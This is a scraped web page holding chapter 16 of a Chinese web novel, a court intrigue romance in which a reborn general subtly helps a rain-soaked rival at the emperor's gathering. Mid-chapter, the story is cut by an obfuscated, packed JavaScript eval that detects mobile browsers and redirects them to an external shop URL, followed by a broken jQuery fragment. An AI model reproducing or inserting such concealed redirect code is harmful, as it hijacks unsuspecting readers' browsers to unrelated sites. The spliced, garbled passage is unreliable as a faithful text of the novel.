文趣网 > 其他小说 > 清冷病美人嫁给死对头后 > 16. 小心思
    “许元邵,什么话能讲,什么话讲不得,不知道么?”

    楼渊眯了眯眼,脸色阴沉:“刚刚你当着陛下面讲的这话要是传进别人耳朵里……呵,都是当了爹的人了因为口无遮拦挨一顿家法,那就有点太没面子了吧。”他咬重了“当着陛下面”几个字。

    楼渊这话一落,原本就因为许元邵那话变得微妙的气氛彻底凝固,一众人不由放轻了呼吸。

    李承安没想到楼渊前头还对着裴聿行横眉竖眼的不惜要让人坐到身边来折腾,这会却又突然替人说话出头,甚至都威胁上了。他看了裴聿行一眼,视线在楼渊和许元邵之间来回打转,神情晦暗,很快又露出了然的笑。

    其余的几个人也像李承安一样视线在楼渊他们三人之中打转,心思各异。

    楼渊也不觉尴尬,只是如凶恶猛兽盯住猎物一般紧紧盯着许元邵,目光森然得叫许元邵头皮发麻。

    许元邵咽了咽唾沫,低声说:“我方才失言,“对不起。”道歉不看裴聿行,语气也听着不情不愿的。

    裴聿行看也不看他一眼,听见这话也不应,反而偏过头看了看楼渊。视线缓缓下移,落到了楼渊搭在椅子扶手上已经攥得青筋绷起的手。

    眼见气氛更加僵硬,陈淑君轻笑了一声打破了尴尬:“想来许大人方才也是无心之言,裴大人便大人有大量,饶了他一回,莫与他计较。”

    “诸位有所不知,裴大人的母亲谢氏当年可是名副其实的云州第一美人呢,当年裴夫人过世,还有人特意作诗悼念夫人,”他清了清嗓子,笑着转移了话题,“从前我也见过谢夫人,如今见了裴大人,才知何为青出于蓝而胜于蓝。”

    陈淑君一边说一边装作笑软了身子一般往永元帝怀里倒:“就是跟坤泽比,裴大人也不逊色多少。陛下,您说我说得对不对?”

    永元帝顺势将陈淑君揽在怀里,轻斥了一声“胡言乱语”,又笑着摸他的脸,一句你才是最漂亮哄得他心花怒放。

    楼渊不动声色地看了眼依偎在永元帝怀里的陈淑君,他隐约记得,那首悼念裴聿行母亲的酸诗,大意是红颜多薄命。

    暗暗在心中记下一笔,楼渊也给面子,顺着台阶不再提方才的事,将话题生生切向他从入殿时就一直惦记的事。

    “自打进了上京这地界,一路上就没停过雨。”他说着轻叹了口气,懒散地往后靠了靠,手指往下指了指。

    “可怜臣最好的一身新袍子,下摆全湿透了。陛下可否赏个炭盆,给臣烘一烘袍子?”

    “一个炭盆,也说什么赏不赏的,”李承安看了随侍在身后的六福一眼示意他去安排,转而又跟楼渊说话,语气有几分无奈,“从前咱们一块吃饭喝酒,哪回不是我付账,也没见你客气过。到底是多年没见,生分了。”

    似是由李承安这话想起了读书时一块玩的事,楼渊的眼中露出了些许怀念,表情看着似有几分动容。

    没人知道他刚刚在心里翻了几个白眼。净说些败坏他在裴聿行心中形象的破事,真是闹心。

    幸好裴聿行聪明又记性好,肯定不会信李承安的鬼话,也知道他跟李承安其实压根不怎么熟,更没有成日到处鬼混……吧?

    楼渊不确定地想了想,用余光悄悄瞄了一眼裴聿行。

    裴聿行仍恹恹地垂着眼,表情平静又冷淡,仿佛根本就没把其他人的谈话听进耳朵里。

    没等楼渊抿出个所以然,烧着红罗炭的小炭盆已经送到了面前,低着头端来炭盆的正是方才差点被六福甩锅的那个小太监。

    小太监将手中沉甸甸的炭盆搁到楼渊面前的地上,刚摆好,就见楼渊右靴靴尖轻轻往右边点了点。

    下一秒他听见楼渊低声吩咐他把炭盆再往裴大人那边挪一挪。

    小太监不明所以,但还是乖乖照做。

    虽然楼渊刻意将声音压得很低,但坐在他旁边的裴聿行还是听清了。

    他抿了抿唇,不动声色地看了眼楼渊颜色暗了一点的衣袍下摆,又看了眼火盆中烧得泛红的炭。

    陛下吩咐给楼将军点个炭盆,小太监就是听楼渊的也不敢做得太明显,只敢稍微往二人中间的桌子处挪了挪。

    即使这样,烧得很旺的炭盆依然传来了热意,让裴聿行暖和了些——他是真淋了好一会雨,裤腿、衣摆和后背都湿了一大片。

    虽然知道楼渊肯定只是随口一提,但裴聿行还是在心里说了谢谢。

    说了谢谢,又忍不住想,这人还是跟以前一样好心,即使对讨厌的人也会担忧和关心,不吝分享。

    眼见着裴聿行的脸色稍好了一点,身体也不再冷得发抖,楼渊才松了口气。

    这么小一个炭盆不过聊胜于无,衣服湿了自然要赶紧换下才好,楼渊很清楚湿衣服穿在身上有多难受,如果可以,他想马上送裴聿行回去。

    他想在院子里等着裴聿行,等人换完衣裳出来,就可以请裴聿行去珍味居一起共用午膳,昨日回府时看见珍味居在门口挂着的那个新菜招牌他就在想这事了。

    就算跟裴聿行对坐着大眼对小眼,也比在这里对着这几张丑脸、连说一句自己想说的话之前都得先说五句废话要好。

    想当年楼渊在北疆拥兵自重,做上了无名有实的北疆王,再后来改朝换代,又成了狼子野心、权倾朝野的摄政王。在那近二十年的辉煌岁月里,他认真参加过的宴会屈指可数,到场露个脸坐一会就走都算是给面子了。

    谁曾想一死一活又回到了永元二年,反而不得不在这坐着赔笑,跟讨厌的人兜兜转转绕圈说话,真是烦人。

    但如果装孙子就是重生回到裴聿行身边而必须付出的代价的话,楼渊也不是不能接受,毕竟大丈夫能屈能伸方可成大事。

    艰难地压下心头咕嘟咕嘟冒泡的想法,楼渊第不知道多少次悄悄看了眼裴聿行,才稍稍定了定心神。

    他伸手拿起手边的茶杯,将杯中残茶一气饮尽,眯着眼喟叹出声:“陛下这茶真好,这才配叫茶。我以前在北疆喝的那些与这一比,那就是叶子泡水。”

    说着,他像是想起什么,直接取了个新的茶杯,提起茶壶倒了一杯新茶。

    将茶杯稳稳地推到裴聿行手边,楼渊终于可以扭过头,大大方方地盯着裴聿行看了:“听闻裴大人于茶道上颇有一番造诣,想来也是好茶之人,怎得不喝?”

    “裴大人体弱多病,这刚淋了一场雨,可得多喝点热茶暖暖身子,千万冻病了叫陛下忧心啊。”

    他说这话时勾起些唇角,眉梢轻挑——是被多名下属和亲信一致认为的最适合跟人吵架时用的最气人表情。

    于是,这一番句句关切的话落到在座其他人耳中就成了实打实的嘲讽。

    先是嘲笑裴聿行是个淋点雨就病得下不来床的病秧子,又幸灾乐祸内涵他如今不得陛下青眼,楼渊还真是会杀人诛心。

    一瞬间,所有人都看向了那盏楼渊亲手倒的茶。没人说话,所有人都在打量裴聿行,好奇他接下来的反应,李承安更是目不转睛地盯着裴聿行瞧,眼中的兴奋毫不掩藏。

    昨日半下午时,裴聿行在百珍阁为楼渊所救,却连招呼都没打一个,直接甩脸就走的事在世家的圈子里像风一样传开了。

    昨晚,李承安去陈淑君宫中,陈淑君把下午听到的这事当玩笑说给他听。李承安听完,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17730835|208953||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    马上就想起前不久收到的那些烦人折子,马上就拉了脸。

    不过是办个接风宴而已,能花多少银子,怎么可能会影响春闱和春耕。裴聿行这家伙朝上装鹌鹑,转头就背地里给户部的人支招给他找麻烦,说到底不就是见不得自己的死对头风光么,装什么清高!

    而像这样的事情,自他登基以后裴聿行就没少做,尤其是在与楼渊有关的事情上。楼渊打了胜仗,他才夸上几句,转头桌上就能多一本参楼渊的折子。

    李承安也不是不明白那些道理,可他就是瞧裴聿行不顺眼,就是存心要与裴聿行过不去。裴聿行说得越有有道理,态度越恭敬谦和得让人挑不出错,他就越不爽。

    既然给我找麻烦,那你也别想痛快。裴聿行越参楼渊不好,他就越要厚赏楼渊。而事实证明他一点也没错,这几年楼渊不就一直打胜仗,连那几座失城也都收回来了么?!至于打仗要钱要粮,那再正常不过,也就裴聿行和那群老头目光短浅会斤斤计较。

    李承安阴沉着脸,想着旧事,心中恼恨,不自觉将陈淑君的手越握越紧,听见陈淑君因疼痛而轻叫才反应过来,松开了手。

    他问陈淑君怎么知道这事的,陈淑君说下午去找娴妃时见到了进宫来探望娴妃的胞妹,这事是娴妃胞妹讲的,上午这事发生时她恰巧就在百珍阁。

    李承安听完就突然有了想法,脸上重新露出了笑。

    他特意弄了这场旧友小聚,把裴聿行喊过来又故意让人在外面站上那么久,就是存心要在楼渊面前叫裴聿行难堪。

    李承安想的很简单,既然讨厌同一个人是最能拉近距离,那等楼渊看明白自己也讨厌裴聿行,这几年没见产生的生疏自然也就没了。

    在数道灼热视线中,裴聿行不急不缓地端起了那杯茶。

    “不过是有雨点不小心落到了外衫上沾湿了一些。”轻轻抿了两口茶后,裴聿行将茶杯放下。

    瓷杯轻轻磕在青玉的茶托,发出一点清脆的声响。

    裴聿行抬眼看向楼渊,目光平宁,说的话却不像嗓音那样好听,像是带着刺似的扎人:“恐怕要叫将军失望了,裴某身体还没有弱不禁风到沾点雨滴就病个十天半月。”

    楼渊闻言笑了笑:“是么。裴大人身体康健,那真是再好不过了,大齐可不能没有裴大人这样的国之栋梁。”

    他说这话的语气很真诚,但其他人听着却觉得他这是在阴阳怪气。

    说完,楼渊转过头看向李承安,仿佛想到了有趣的事就随口一提:“陛下,您是不知道啊,方才臣打老远就看一个人站着屋檐边,瞧着是等了有一会了,那后背全淋湿了。臣还寻思是谁这么傻,被风吹得跟鹌鹑似的也不知道躲,这看着好像随时都要晕了。”

    “等我走近一看,发现这人竟是裴大人。”

    李承安听见这话笑了笑,脸上流露出几分得意。

    不等他开口,楼渊又像是想起了别的:“你们是不知道,昨日裴聿行差点要从楼梯上掉下去,我就好心扶了他一把。谁曾想,不过是带他下楼梯时走得快了些,他那脸就白得跟纸似的,真是给我吓够呛。”

    “我一想,他要晕我身上,到时候那些御史不得往死里参我么,所以当时真是一句话也不敢多讲,赶紧让他的人把他带走。”他一边说一边啧啧摇头,表情更夸张了几分,还冲李承安挑了挑眉,露出了一个促狭的笑。

    “陛下,叫我说,下次还是让他去偏殿等着吧,免得他真在宫里晕倒给您添麻烦。”

    在场一众人这才算明白昨日的原委,顿时笑作一团。李承安却像是被楼渊这随口一句话提醒得反应过来了,笑容倏然僵住。